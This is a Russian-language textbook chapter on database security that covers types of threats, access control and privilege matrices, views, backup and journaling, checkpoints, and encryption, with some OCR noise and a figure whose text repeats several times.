Данные являются ценным ресурсом, доступ к которому необходимо строго контролировать и регламентировать, так же как и к любым другим корпоративным ресурсам. Часть или даже все корпоративные данные могут иметь стратегическое значение для организации, а потому должны храниться в секрете, под надежной охраной.
В главе 2, “Среда базы данных”, мы обсудили особенности среды базы данных, в частности типовые функции и службы современной СУБД. В состав этих функций и служб входят и средства авторизации пользователей — тот самый механизм, с помощью которого СУБД гарантирует, что доступ к базе данных смогут получить только те пользователи, которым было предоставлено соответствующее право. Другими словами, любая СУБД должна гарантировать, что созданная в ее среде база данных будет надежно защищена. Термин защита относится к защищенности баз данных от несанкционированного доступа, как намеренного, так и случайного. Однако тема защиты баз данных включает не только стандартные службы, предоставляемые целевой СУБД, но и гораздо более широкий круг вопросов, имеющих отношение к защищенности самих баз данных и всего их окружения.
Структура этой главы
В разделе 16.1 мы обсудим понятие защиты базы данных в целом и познакомимся с различными типами опасностей, которые в общем случае могут угрожать любым компьютерным системам. В разделах 16.2 и 16.3 речь пойдет обо всем диапазоне существующих компьютерных и некомпьютерных средств контроля, которые могут использоваться в качестве контрмер против возможных угроз. В разделе 16.4 мы познакомимся с некоторыми специфическими опасностями и соответствующими средствами защиты, характерными для компьютеров платформы IBM PC. В разделе 16.5 будут обсуждаться существующие методы защиты баз данных, публикуемые в Web. Раздел 16.6 посвящен средствам защиты статистических баз данных, представляющих собой базы данных, используемые для статистической обработки различных массивов данных. В разделе 16.7 дан краткий обзор основных этапов процедуры оценки риска. При разработке средств защиты компьютерных систем организации должны обязательно учитываться любые юридические нормы и требования, касающиеся этого вопроса. Данная глава заканчивается разделом 16.8, в котором проблемы защиты данных обсуждаются с точки зрения существующих юридических норм и требований к защите прав личности. Все приводимые в этой главе примеры построены на материале учебного проекта DreamHome^ описание которого дано в разделе 1.7.
Защита базы данных
В этом разделе мы познакомимся со всем диапазоном проблем, охватываемых понятием защиты баз данных, и выясним, почему организации должны относиться к потенциальным угрозам их компьютерным системам со всей серьезностью. Кроме того, мы уточним все типы опасностей, которые могут угрожать самим компьютерам и различным компьютерным системам.
Защита базы Обеспечение защищенности базы данных против любых преду- данных мышленных или непредумышленных угроз с помощью различных компьютерных и некомпьютерных средств.
Понятие защиты применимо не только к сохраняемым в базе данным. Бреши в системе защиты могут возникать и в других частях системы, что, в свою очередь, подвергает опасности и собственно базу данных. Следовательно, защита базы данных должна охватывать используемое оборудование, программное обеспечение, персонал и собственно данные. Для эффективной реализации защиты необходимы соответствующие средства контроля, которые определяются конкретными требованиями, вытекающими из особенностей эксплуатируемой системы. Необходимость защищать
данные, которую раньше очень часто отвергали или которой просто пренебрегали, в настоящее время вся яснее осознается различными организациями. Повод для такой перемены настроений заключается в участившихся случаях разрушения компьютерных хранилищ корпоративных данных, а также в осознании того, что потеря или просто временная недоступность этих данных может послужить причиной настоящей катастрофы. Более подробное обсуждение проблем защиты компьютерных систем заинтересованный читатель может найти в работах Пфлегера (Pfleger, 1997).
База данных представляет собой важнейший корпоративный ресурс, который должен быть надлежащим образом защищен с помощью соответствующих средств контроля. Мы обсудим проблемы защиты базы данных с точки зрения таких потенциальных опасностей, как:
похищение и фальсификация данных;
утрата конфиденциальности (нарушение тайны);
нарушение неприкосновенности личных данных;
утрата целостности;
потеря доступности.
Указанные ситуации отмечают основные направления, в которых руководство должно принимать меры, снижающие степень риска, т.е. потенциальную возможность потери или повреждения данных. В некоторых ситуациях все отмеченные аспекты повреждения данных тесно связаны между собой, так что действия, направленные на нарушение защищенности системы в одном направлении, часто приводят к снижению ее защищенности во всех остальных. Кроме того, некоторые события — например, нарушение неприкосновенности личных данных или фальсификация информации — могут возникнуть вследствие как намеренных, так и непреднамеренных действий и вовсе необязательно сопровождаться какими-либо изменениями в базе данных или системе, которые можно будет обнаружить тем или иным образом.
Похищение и фальсификация данных
Похищение и фальсификация данных могут происходить не только в среде базы данных — вся организация так или иначе подвержена этому риску. Однако действия по похищению или фальсификации информации всегда совершаются людьми, поэтому основное внимание должно быть сосредоточено на сокращении общего количества удобных ситуаций для выполнения подобных действий. Например, рекомендуется строго ограничить доступ к данным о выплачиваемой зарплате, точно фиксировать количество отпечатанных платежных поручений, а также организовать четкий учет и автоматическое уничтожение всех файлов, используемых в несанкционированных попытках печати платежных документов. Похищения и фальсификация вовсе необязательно связаны с изменением каких-либо данных, что справедливо и в отношении потери конфиденциальности или нарушения неприкосновенности личных данных.
Потеря конфиденциальности и нарушение.
неприкосновенности личных данных
Понятие конфиденциальности означает необходимость сохранения данных в тайне. Как правило, конфиденциальными считаются те данные, которые являются критичными для всей организации, тогда как понятие неприкосновенности данных касается требования защиты информации об отдельных работниках. Следствием нарушения в системе защиты, вызвавшего потерю конфиденциальности данных, может быть утрата позиций в конкурентной борьбе, тогда как следствием нарушения неприкосновенности личных данных будут юридические меры, принятые в отношении организации.
Утрата целостности и потеря доступности данных
Утрата целостности данных приводит к искажению или разрушению данных, что может иметь самые серьезные последствия для дальнейшей работы организации. В настоящее время множество организаций функционирует в непрерывном режиме, предоставляя свои ус-
луги клиентам по 24 часа в сутки и по 7 дней в неделю. Потеря доступности данных будет означать, что либо данные, либо система, либо и то, и другое одновременно окажутся недоступными пользователям, что может подвергнуть опасности само дальнейшее существование организации. В некоторых случаях те события, которые послужили причиной перехода системы в недоступное состояние, могут одновременно вызвать и разрушение данных в базе.
Защита базы данных имеет целью минимизировать потери, вызванные заранее предусмотренными событиями. Принимаемые решения должны обеспечивать эффективное использование понесенных затрат и исключать излишнее ограничение предоставляемых пользователям возможностей. В последнее время уровень компьютерной преступности существенно возрос, причем прогнозы на будущее неутешительны и предвещают продолжение его роста и в новом столетии. Компьютерные преступления могут угрожать любой части системы, поэтому наличие необходимых мер защиты является жизненно важным.
Типы опасностей
Опасность Любая ситуация или событие, намеренное или непреднамеренное, которое способно неблагоприятно повлиять на систему, а следовательно, и на всю организацию.
Угроза может быть вызвана ситуацией или событием, способным принести вред организации, причиной которого может служить человек, происшествие или стечение обстоятельств. Вред может быть очевидным (например, потеря оборудования, программного обеспечения или данных) или неочевидным (например, потеря доверия партнеров или клиентов). Перед каждой организацией стоит проблема выяснения всех возможных опасностей, что в некоторых случаях является совсем непростой задачей. Поэтому на выявление хотя бы важнейших угроз может потребоваться достаточно много времени и усилий, что следует учитывать. В предыдущем разделе мы указали основные области, в которых следует ожидать потерь в случае намеренного (заранее задуманного) или ненамеренного (случайного) происшествия. Преднамеренные угрозы всегда осуществляются людьми и могут быть совершены как авторизированными, так и неавтори- зированными пользователями, причем последние могут не принадлежать организации.
Любая опасность должна рассматриваться как потенциальная возможность нарушения системы защиты, которая в случае своей реализации может оказать то или иное негативное влияние. В табл. 16.1 приведены примеры различных типов угроз, с указанием тех областей, в которых они могут влиять на систему. Например, следствием просмотра и раскрытия засекреченных данных могут стать похищение и фальсификация, утрата конфиденциальности и нарушение неприкосновенности личных данных в организации. Хотя некоторые типы опасностей могут быть как намеренными, так и непреднамеренными, результаты в любом случае будут одинаковы.
Таблица 16.1. Примеры возможных опасностей
Опасность
Похищение и фальсификация данных
Утрата конфиденциальности
Нарушение неприкосновенности личных данных
Утрата целостности
Потеря доступности
Использование прав доступа другого человека
✓
✓
✓
Несанкционированное изменение или копирование данных
✓
✓
Изменение программ
Непродуманные методики и процедуры, допускающие смешивание конфиденциальных и обычных данных в одном документе
✓
✓
✓
✓
✓
Окончание табл. 16.1
Опасность
Похищение и фальсификация данных
Утрата конфиденциальности
Нарушение неприкосновенности личных данных
Утрата целостности
Потеря доступности
Подключение к кабельным сетям
Ввод хакерами некорректных данных
Шантаж
Создание “лазеек" в систему
Похищение данных, про-
✓
грамм и оборудования Отказ систем защиты, вызвавший превышение допустимого уровня доступа Нехватка персонала и забастовки
Недостаточная обученность
персонала
Просмотр и раскрытие засекреченных данных Электронные наводки и радиация
Разрушение данных в результате отключения или перенапряжения в сети электропитания
Пожары (по причине коротких замыканий, ударов молний, поджогов), наводнения, диверсии
Физическое повреждение оборудования
Обрыв или отсоединение кабелей
Внедрение компьютерных вирусов
✓
✓
✓
✓
Уровень потерь, понесенных организацией в результате реализации некоторой угрозы, зависит от многих факторов, включая наличие заранее продуманных контрмер и планов преодоления непредвиденных обстоятельств. Например, если отказ оборудования вызвал разрушение вторичных хранилищ данных, вся работа в системе должна быть свернута до полного устранения последствий аварии. Продолжительность периода бездействия и быстрота восстановления базы данных зависят от нескольких факторов, включая приведенные ниже.
Имеется ли в системе резервное оборудование с развернутым программным обеспечением.
Когда в последний раз выполнялось резервное копирование системы.
Время, необходимое на восстановление системы.-
Существует ли возможность восстановления и ввода в эксплуатацию разрушенных данных.
Любая организация должна установить типы возможных опасностей, которым может подвергнуться ее компьютерная система, после чего разработать соответствующие планы и требуемые контрмеры, с оценкой уровня затрат, необходимых для их реализации. Безусловно, затраты времени, усилий и денег едва ли окажутся эффективными, если они будут касаться потенциальных опасностей, способных причинить организации лишь незначительный ущерб. Деловые процессы организации могут быть подвержены таким опасностям, которые непременно следует учитывать, однако часть из них может иметь место в исключительно редких ситуациях. Тем не менее даже столь маловероятные обстоятельства должны быть приняты во внимание, особенно если их влияние может оказаться весьма существенным. На рис. 16.1 представлена обобщенная схема потенциальных опасностей, которым может подвергаться типичная компьютерная система.
Существующие примеры брешей, обнаружившихся в защите компьютерных систем, демонстрируют тот факт, что даже высочайшего уровня защищенности самой системы может оказаться недостаточно, если вся деловая среда не будет иметь необходимого уровня защиты. Целью является достижение баланса между обоснованным уровнем реализации защитных механизмов, функционирование которых не вызывает излишних ограничений в работе пользователей, и издержками на их поддержание. Выше мы уже приводили примеры возможных угроз (см. табл. 16.1) и отмечали, что некоторые из них могут носить случайный характер. По всей видимости, именно случайные опасности являются причиной основной части потерь в большинстве организаций. Любой случайный инцидент, послуживший причиной нарушения системы защиты, должен быть зафиксирован в документации, с указанием сведений о персонах, связанных с его появлением. Время от времени подобные записи должны анализироваться с целью установления частоты возникновения сходных инцидентов, связанных с одними и теми же людьми. Полученные сведения следует использовать для уточнения существующих процедур и установленных ограничений. Например, повторяющееся рассоединение или обрыв кабелей должен послужить причиной пересмотра способа укладки или маршрута их проведения. Аналогично, повторяющееся внесение в систему вирусов и другого нежелательного программного обеспечения должно быть расценено как серьезная угроза, однако здесь могут иметь место трудности с оценкой случайности или преднамеренности их появления. Тем не менее могут быть разработаны процедуры, предназначенные для проверки всего нового программного обеспечения и носителей, поступающих в распоряжение организации. Они могут быть дополнены ограничениями, запрещающими работникам использовать их собственное программное обеспечение. После принятия подобных мер появление в системе вирусов едва ли можно будет расценивать как случайное.
Типы возможных угроз лежат в широком диапазоне — от пожаров и наводнений, непосредственно воздействующих на все элементы системы, до некоторых специфических инцидентов, воздействующих лишь на одну из ее частей. Например, случайный обрыв кабеля может блокировать работу только одного пользователя и не оказать влияния на состояние программного обеспечения или данных. Как бы там ни было, хотя, на первый взгляд, некоторые из событий не оказывают заметного влияния на систему, их отзвуки впоследствии могут быть весьма существенными. Поэтому при анализе отдельных опасностей оценка их возможного влияния должна производиться с разных точек зрения. Например, если обратиться к случаю отказа оборудования, послужившего причиной разрушения устройств внешней памяти, то полезно будет дать ответы на все приведенные ниже вопросы.
Существует ли резервное оборудование, которое может быть использовано немедленно?
Защищено ли резервное оборудование надлежащим образом?
Может ли используемое программное обеспечение нормально работать на резервном оборудовании?
Если резервных устройств не существует, насколько быстро удастся устранить возникшую проблему?
ОбрудованиеПожар, затопление, диверсии Повреждение данных из-за отключения или бросков напряжения питания Отказ механизмов защиты, явившийся причиной расширения возможностей доступаПохищение оборудования физическое повреждение оборудования Электрические наводки и радиацияОбрудованиеПожар, затопление, диверсии Повреждение данных из-за отключения или бросков напряжения питания Отказ механизмов защиты, явившийся причиной расширения возможностей доступаПохищение оборудования физическое повреждение оборудования Электрические наводки и радиацияСетевые коммуникацииПодключение к кабельной системе Обрыв или отключение кабелей Электрические наводки и радиацияСетевые коммуникацииПодключение к кабельной системе Обрыв или отключение кабелей Электрические наводки и радиацияСУБД и прикладное программное обеспечениеОтказ механизмов защиты, явившийся причиной расширения возможностей доступаИскажение программПохищение программного обеспеченияСУБД и прикладное программное обеспечениеОтказ механизмов защиты, явившийся причиной расширения возможностей доступаИскажение программПохищение программного обеспеченияБазы данныхНесанкционированная#корректировка*или копирование данных Похищение данныхРазрушение данных в результате отключения или бросков напряжения питанияБазы данныхНесанкционированная#корректировка*или копирование данных Похищение данныхРазрушение данных в результате отключения или бросков напряжения питанияПользователиИспользование чужих средств доступа Несанкционированный просмотр и раскрытие конфиденциальных сведений Недостаточная профессиональная подготовленность персонала Неправомочные действия хакеров "Черная” почта Внедрение вирусовПользователиИспользование чужих средств доступа Несанкционированный просмотр и раскрытие конфиденциальных сведений Недостаточная профессиональная подготовленность персонала Неправомочные действия хакеров "Черная” почта Внедрение вирусовПрограммисты и операторыСоздание лазеек в систему Искажение программ (например, отключение средств защиты) Недостаточная профессиональная подготовленность персоналаПрограммисты и операторыСоздание лазеек в систему Искажение программ (например, отключение средств защиты) Недостаточная профессиональная подготовленность персоналаАдминистраторы баз данныхНедостаточный уровень ограничений и процедур защитыАдминистраторы баз данныхНедостаточный уровень ограничений и процедур защитыНедостаточный уровень ограничений и процедур защитыСаботаж и забастовки персоналаНедостаточный уровень ограничений и процедур защитыСаботаж и забастовки персонала
Обрудование
Пожар, затопление, диверсии Повреждение данных из-за отключения или бросков напряжения питания Отказ механизмов защиты, явившийся причиной расширения возможностей доступа
Похищение оборудования физическое повреждение оборудования Электрические наводки и радиация
Обрудование
Пожар, затопление, диверсии Повреждение данных из-за отключения или бросков напряжения питания Отказ механизмов защиты, явившийся причиной расширения возможностей доступа
Похищение оборудования физическое повреждение оборудования Электрические наводки и радиация
Сетевые коммуникации
Подключение к кабельной системе Обрыв или отключение кабелей Электрические наводки и радиация
Сетевые коммуникации
Подключение к кабельной системе Обрыв или отключение кабелей Электрические наводки и радиация
СУБД и прикладное программное обеспечение
Отказ механизмов защиты, явившийся причиной расширения возможностей доступа
Искажение программ
Похищение программного обеспечения
СУБД и прикладное программное обеспечение
Отказ механизмов защиты, явившийся причиной расширения возможностей доступа
Искажение программ
Похищение программного обеспечения
Базы данных
Несанкционированная#
корректировка*
или копирование данных Похищение данных
Разрушение данных в результате отключения или бросков напряжения питания
Базы данных
Несанкционированная#
корректировка*
или копирование данных Похищение данных
Разрушение данных в результате отключения или бросков напряжения питания
Пользователи
Использование чужих средств доступа Несанкционированный просмотр и раскрытие конфиденциальных сведений Недостаточная профессиональная подготовленность персонала Неправомочные действия хакеров "Черная” почта Внедрение вирусов
Пользователи
Использование чужих средств доступа Несанкционированный просмотр и раскрытие конфиденциальных сведений Недостаточная профессиональная подготовленность персонала Неправомочные действия хакеров "Черная” почта Внедрение вирусов
Программисты и операторы
Создание лазеек в систему Искажение программ (например, отключение средств защиты) Недостаточная профессиональная подготовленность персонала
Программисты и операторы
Создание лазеек в систему Искажение программ (например, отключение средств защиты) Недостаточная профессиональная подготовленность персонала
Администраторы баз данных
Недостаточный уровень ограничений и процедур защиты
Администраторы баз данных
Недостаточный уровень ограничений и процедур защиты
Недостаточный уровень ограничений и процедур защиты
Саботаж и забастовки персонала
Недостаточный уровень ограничений и процедур защиты
Саботаж и забастовки персонала
Рис. 16.1. Обобщенная схема потенциальных опасностей, которым подвержены компьютерные системы
Когда в последний раз создавалась резервная копия базы данных и файла журнала?
Находятся ли носители с резервной копией в пожарозащищенном месте или вне расположения организации?
Если большая часть базы данных подлежит восстановлению с резервной копии и из файлов журнала, то сколько времени потребуется на эту процедуру?
Каков объем потерь в результатах обработки данных и имеется ли возможность восстановить утраченные данные?
Сможет ли организация продолжать нормально функционировать, пока система будет неактивна, и если да, то как долго?
Окажет ли инцидент какое-либо прямое воздействие на клиентов организации?
Если система будет восстановлена, то сохранится ли угроза повторения данного инцидента, если для его предотвращения не будут приняты какие- либо специальные меры?
Можно ли использовать данный инцидент для доработки существующих планов устранения непредвиденных обстоятельств?
Если при анализе последствий только одного события потребовалось ответить на столько вопросов, то для исчерпывающего анализа всех возможных опасностей понадобится ответить на гораздо большее их число. Ответы на вопросы должны позволить оценить вероятный эффект события, выраженный в уровне потери данных, времени, средств и других менее очевидных показателях — например, степени доверия клиентов. Для получения полной оценки всех возможных опасностей следует выполнить процедуру оценки риска. Существуют различные методики выполнения данной оценки, как ручные, так и с помощью специализированных программных пакетов. Краткий обзор их будет предложен вашему вниманию в разделе 16.7.
Контрмеры - компьютерные средства контроля
В отношении опасностей, угрожающих компьютерным системам, могут быть приняты контрмеры самых различных типов, начиная от физического наблюдения и заканчивая административно-организационными процедурами. Несмотря на широкий диапазон компьютерных средств контроля, доступных в настоящее время на рынке, общий уровень защищенности СУБД определяется возможностями используемой операционной системы, поскольку работа этих двух компонентов тесно связана между собой. Общая схема типичной многопользовательской компьютерной системы представлена на рис. 16.2. В этом разделе мы обсудим различные компьютерные средства контроля, доступные в многопользовательской среде. Обычно для платформы IBM PC применяются не все перечисленные ниже типы средств контроля.
Рис. 16.2. Общая схема типичной многопользовательской компьютерной системы
Авторизация пользователей.'
Представления.
Резервное копирование и восстановление.
Поддержка целостности.
Шифрование.
Вспомогательные процедуры.
Авторизация пользователей
Авторизация Предоставление прав (или привилегий), позволяющих их владельцу иметь законный доступ к системе или к ее объектам.
Средства авторизации пользователей могут быть встроены непосредственно в программное обеспечение и управлять не только предоставленными пользователям правами доступа к системе или объектам, но и набором операций, которые пользователи могут выполнять с каждым доступным ему объектом. По этой причине механизм авторизации часто иначе называют подсистемой управления доступом. Термин “владелец” в определении может представлять пользователя-человека или программу. Термин “объект” может представлять таблицу данных, представление, приложение, процедуру или любой другой объект, который может быть создан в рамках системы. В некоторых системах все предоставляемые субъекту права должны быть явно указаны для каждого из объектов, к которым этот субъект должен обращаться. Авторизация пользователей с помощью средств языка SQL обсуждалась выше, в разделе 14.4. Процесс авторизации включает аутентификацию субъектов, требующих получения доступа к объектам.
Аутентификация Механизм определения того, является ли пользователь тем, за кого себя выдает.
За предоставление пользователям доступа к компьютерной системе обычно отвечает системный администратор, в обязанности которого входит создание учетных записей пользователей. Каждому пользователю присваивается уникальный идентификатор, который используется операционной системой для определения того, кто есть кто. С каждым идентификатором связывается определенный пароль, выбираемый пользователем и известный операционной системе. При регистрации пользователь должен предоставлять системе свой пароль для выполнения проверки (аутентификации) того, является ли он тем, за кого себя выдает.
Подобная процедура позволяет организовать контролируемый доступ к компьютерной системе, но не обязательно предоставляет право доступа к СУБД или иной прикладной программе. Для получения пользователем права доступа к СУБД может использоваться отдельная подобная процедура. Ответственность за предоставление прав доступа к СУБД обычно несет администратор базы данных (АБД), в обязанности которого входит создание индивидуальных идентификаторов пользователей, но на этот раз уже в среде самой СУБД. Каждый из идентификаторов пользователей СУБД также связывается с паролем, который должен быть известен только данному пользователю. Этот пароль будет использоваться подпрограммами СУБД для идентификации данного пользователя.
Некоторые СУБД поддерживают списки разрешенных идентификаторов пользователей и связанных с ними паролей, отличающиеся от аналогичного списка, поддерживаемого операционной системой. Другие типы СУБД поддерживают списки, элементы которых приведены в соответствие существующим спискам пользователей операционной системы и выполняют регистрацию исходя из текущего идентификатора пользователя, указанного им при регистрации в системе. Это предотвращает попытки пользователей зарегистрироваться в среде СУБД под идентификатором, отличным от того, который они использовали при регистрации в системе.
Использование паролей является наиболее распространенным методом аутентификации пользователей. Однако этот подход не дает абсолютной гарантии, что данный пользователь является именно тем, за кого себя выдает. Ниже в этой главе мы обсудим методы, позволяющие сократить подобный риск.
Привилегии
Как только пользователь получит право доступа к СУБД, ему могут автоматически предоставляться различные другие привилегии, связанные с его идентификатором. В частности, эти привилегии могут включать разрешение на доступ к определенным базам данных, таблицам, представлениям и индексам или же право запуска различных утилит СУБД. Некоторые типы СУБД функционируют как закрытые системы, поэтому пользователям помимо разрешения на доступ к самой СУБД потребуется иметь отдельные разрешения и на доступ к конкретным ее объектам. Эти разрешения выдаются либо АБД, либо владельцами определенных объектов системы. В противоположность этому, открытые системы по умолчанию предоставляют автори- зированным пользователям полный доступ ко всем объектам базы данных. В этом случае привилегии устанавливаются посредством явной отмены тех или иных прав конкретных пользователей. Типы привилегий, которые могут быть предоставлены авторизированным субъектам, включают, например, право доступа к указанным базам данных, право выборки данных, право создания таблиц и других объектов. Методы авторизации пользователей и предоставления им привилегий средствами языка SQL обсуждались выше, в разделе 14.4.
Право владения и привилегии
Некоторыми объектами в среде СУБД владеет сама СУБД. Обычно это владение организуется посредством использования специального идентификатора особого суперпользователя — например, с именем Database Administrator. Как правило, владение некоторым объектом предоставляет его владельцу весь возможный набор привилегий в отношении этого объекта. Это правило применяется ко всем авторизированным пользователям, получающим права владения определенными объектами. Любой вновь созданный объект автоматически передается во владение его создателю, который и получает весь возможный набор привилегий для данного объекта. Тем не менее, хотя пользователь может быть владельцем некоторого представления, единственной привилегией, которая будет предоставлена ему в отношении этого объекта, может оказаться право выборки данных из этого представления. Причина подобных ограничений состоит в том, что данный пользователь имеет столь ограниченный набор прав в отношении базовых таблиц созданного им представления. Принадлежащие владельцу привилегии могут быть переданы им другим авторизированным пользователям. Например, владелец нескольких таблиц базы данных может предоставить другим пользователям право выборки информации из этих таблиц, но не позволить им вносить в эти таблицы какие-либо изменения. В некоторых типах СУБД, всякий раз, когда пользователю предоставляется определенная привилегия, дополнительно может указываться, передается ли ему право предоставлять эту привилегию другим пользователям (уже от имени этого пользователя). Естественно, что в этом случае СУБД должна контролировать всю цепочку предоставления привилегий пользователям, с указанием того, кто именно ее предоставил, что позволит поддерживать корректность всего набора установленных в системе привилегий. В частности, эта информация будет необходима в случае отмены предоставленных ранее привилегий для организации каскадного распространения вносимых изменений среди цепочки пользователей.
Если СУБД поддерживает несколько различных типов идентификаторов авторизации, с каждым из существующих типов могут быть связаны различные приоритеты. В частности, если СУБД поддерживает использование идентификаторов как отдельных пользователей, так и их групп, то, как правило, идентификатор пользователя будет иметь более высокий приоритет, чем идентификатор группы. Пример определения идентификаторов пользователей и групп в подобной СУБД приведен в табл. 16.2.
Таблица 16.2. Идентификаторы пользователей и групп
Идентификатор пользователя
Тип
Группа
Идентификатор члена группы
SG37
Пользователь
Sales
SG37
SG14
Пользователь
Sales
SG14
SG5
Пользователь
Sales
Группа
В столбцах Идентификатор пользователя и Тип приведены определенные в системе идентификаторы и указывается их тип — отдельный пользователь и группа пользователей. Столбцы с заголовками Группа и Идентификатор члена группы содержат сведения о группе, которой принадлежит пользователь, и его идентификаторе в этой группе. С каждым конкретным идентификатором может быть связан определенный набор привилегий, определяющий тип доступа к отдельным объектам базы данных (например, для чтения (Read), обновления (Update), вставки (Insert), удаления (Delete) или все типы сразу (All)). С каждым типом привилегии связывается некоторое двоичное значение:
READ UPDATE INSERT DELETE ALL
0001 0010 0100 1000 1111
Отдельные двоичные значения суммируются, и полученная сумма однозначно характеризует, какие именно привилегии (если они есть) имеет каждый конкретный пользователь или группа в отношении определенного объекта базы данных. В табл. 16.3 приведен пример матрицы управления доступом, определяющей набор привилегий, которые пользователи SG37, SG5 и группа Sales имеют в отношении указанных столбцов таблицы Property for Rent.
Таблица 16.3. Матрица управления доступом
Идентификатор пользователя
Столбец Рпо
Столбец Туре
Столбец Price
Столбец Опо
Столбец Sno
Столбец Впо
Лимит выбираемых строк
SG37
0101
0101
0111
0101
0111
0000
100
SG5
1111
1111
1111
1111
1111
1111
нет
Sales
0001
0001
0001
0000
0000
0000
15
Содержимое матрицы показывает, что группе пользователей с идентификатором Sales предоставлена только привилегия Read (код 0001) в отношении атрибутов Рпо, Туре и Price. Кроме того, для нее установлен максимальный размер результирующего набора данных запроса, равный 15 строкам. Пользователь SG14 (его реальное имя David Ford) является членом этой группы и не имеет каких-либо дополнительных привилегий доступа, поэтому он пользуется только теми правами, которые предоставлены данной группе. Пользователь SG37 (Ann Beech) имеет собственные привилегии Read и Insert (определяются значением 0001 + 0100 -0101) в отношении атрибутов Рпо, Туре и Опо, а также привилегии Read, Update и Insert (значение 0001 + 0010 + 0100 = 0111) в отношении атрибутов Price и Sno. Кроме того, для этого пользователя максимальный размер результирующего набора данных запроса установлен равным 100 строкам. Пользователю SG5 (Susan Brand) предоставлены привилегии Read, Update, Insert и Delete (значение 0001 + 0010 + 0100 -4- 1000 = 1111), т.е. привилегия All для доступа ко всем атрибутам таблицы, а размер результирующих наборов данных запросов не ограничивается.
Обычно для реализации механизмов контроля доступа СУБД используются подобные матрицы, хотя отдельные детали в разных системах могут отличаться. В некоторых
СУБД пользователю разрешается указывать, под каким идентификатором он намерен работать далее — это целесообразно в тех случаях, когда один и тот же пользователь может являться членом сразу нескольких групп. Очень важно освоить все механизмы авторизации и другие средства защиты, предоставляемые целевой СУБД. Особенно это важно для тех систем, в которых существуют различные типы идентификаторов и допускается передача права присвоения привилегий. Это позволит корректно выбирать типы привилегий, предоставляемых отдельным пользователям, исходя из исполняемых ими обязанностей и набора используемых прикладных программ.
Представления (подсхемы)
Представление
Это динамический результат одной или нескольких реляционных операций с базовыми отношениями с целью создания некоторого иного отношения. Представление является виртуальным отношением, которого реально в базе данных не существует, но которое создается по требованию отдельного пользователя в момент поступления этого требования.
Механизм представления представляет собой мощный и гибкий инструмент организации защиты данных, позволяющий скрывать от определенных пользователей некоторые части базы данных. В результате пользователи не будут иметь никаких сведений о существовании любых атрибутов или строк данных, которые недоступны через представления, находящиеся в их распоряжении. Представление может быть определено на базе нескольких таблиц, после чего пользователю будут предоставлены необходимые привилегии доступа к этому представлению, но не к базовым таблицам. В данном случае использование представления являет собой более жесткий механизм контроля доступа, чем обычное предоставление пользователю тех или иных прав доступа к базовым таблицам. Подробное обсуждение назначения и методов использования представлений можно найти в разделах 3.5 и 14.1.
Резервное копирование и восстановление
Резервное Периодически выполняемая процедура получения копии базы копирование данных и ее файла журнала (а также, возможно, программ) на носителе, сохраняемом отдельно от системы.
Любая современная СУБД должна предоставлять средства резервного копирования, позволяющие восстанавливать базу данных в случае ее разрушения. Кроме того, рекомендуется создавать резервные копии базы данных и ее файла журнала с некоторой установленной периодичностью, а также организовывать хранение созданных копий в местах, обеспеченных необходимой защитой. В случае отказа, в результате которого база данных становится непригодной для дальнейшей эксплуатации, резервная копия и зафиксированная в файле журнала оперативная информация используются для восстановления базы данных до последнего согласованного состояния. Описание того, как файл журнала используется для восстановления базы данных, будет дано в разделе 17.3.
Ведение Процедура создания и обслуживания файла журнала, содержащего журнала сведения обо всех изменениях, внесенных в базу данных с момента создания последней резервной копии, и предназначенного для обеспечения эффективного восстановления системы в случае ее отказа.
СУБД должна предоставлять средства ведения системного журнала, в котором будут фиксироваться сведения обо всех изменениях состояния базы данных и ходе выполнения текущих транзакций, что необходимо для эффективного восстановления
базы данных в случае отказа. Преимущества использования подобного журнала заключаются в том, что в случае нарушения работы или отказа СУБД базу данных можно будет восстановить до последнего известного согласованного состояния, воспользовавшись последней созданной резервной копией базы данных и оперативной информацией, содержащейся в файле журнала. Если в отказавшей системе функция ведения системного журнала не использовалась, базу данных можно будет восстановить только до того состояния, которое было зафиксировано в последней созданной резервной копии. Все изменения, которые были внесены в базу данных после создания последней резервной копии, окажутся потерянными. Описание методов ведения системного журнала будет дано ниже, в разделе 17.3.
Контрольная Момент синхронизации между состоянием базы данных и состоя- точканием журнала выполнения транзакций. В этот момент все буфера
принудительно выгружаются на устройства вторичной памяти.
Современные СУБД, как правило, предоставляют средства создания контрольных точек, позволяющие зафиксировать в базе данных серию последних выполненных изменений. Механизм создания контрольных точек может использоваться совместно с ведением системного журнала, что позволит повысить эффективность процесса восстановления. В момент создания контрольной точки СУБД выполняет действия, обеспечивающие запись на диск всех данных, хранившихся в основной памяти машины, а также помещение в файл журнала специальной записи контрольной точки. Подробнее о создании контрольных точек поговорим ниже, в разделе 17.3.
Поддержка целостности
Средства поддержки целостности данных также вносят определенный вклад в общую защищенность базы данных, поскольку их назначением является предотвращение перехода данных в несогласованное состояние, а значит, и предотвращение угрозы получения ошибочных или некорректных результатов расчетов. Средства поддержки целостности данных рассматриваются в разделе 3.3.
Шифрование
Шифрование Кодирование данных с использованием специального алгоритма, в результате чего данные становятся недоступными для чтения любой программой, не имеющей ключа дешифрования.
Если в системе с базой данных содержится весьма важная конфиденциальная информация, то имеет смысл закодировать ее с целью предупреждения возможной угрозы несанкционированного доступа с внешней стороны (по отношению к СУБД). Некоторые СУБД включают средства шифрования, предназначенные для использования в подобных целях. Подпрограммы таких СУБД обеспечивают санкционированный доступ к данным (после их декодирования), хотя это будет связано с некоторым снижением производительности, вызванным необходимостью перекодировки. Шифрование также может использоваться для защиты данных при их передаче по линиям связи. Существует множество различных технологий кодирования данных с целью сокрытия передаваемой информации, причем одни из них называют необратимыми, а другие обратимыми. Необратимые методы, как и следует из их названия, не позволяют установить исходные данные, хотя последние могут использоваться для сбора достоверной статистической информации. Обратимые технологии используются чаще. Для организации защищенной передачи данных по незащищенным сетям должны использоваться системы шифрования, включающие следующие компоненты:
ключ шифрования, предназначенный для шифрования исходных данных (обычного текста);
алгоритм шифрования, который описывает, как с помощью ключа шифрования преобразовать обычный текст в шифротекст;
ключ дешифрования, предназначенный для дешифрования шифротекста;
алгоритм дешифрования, который описывает, как с помощью ключа дешифрования преобразовать шифротекст в исходный обычный текст.
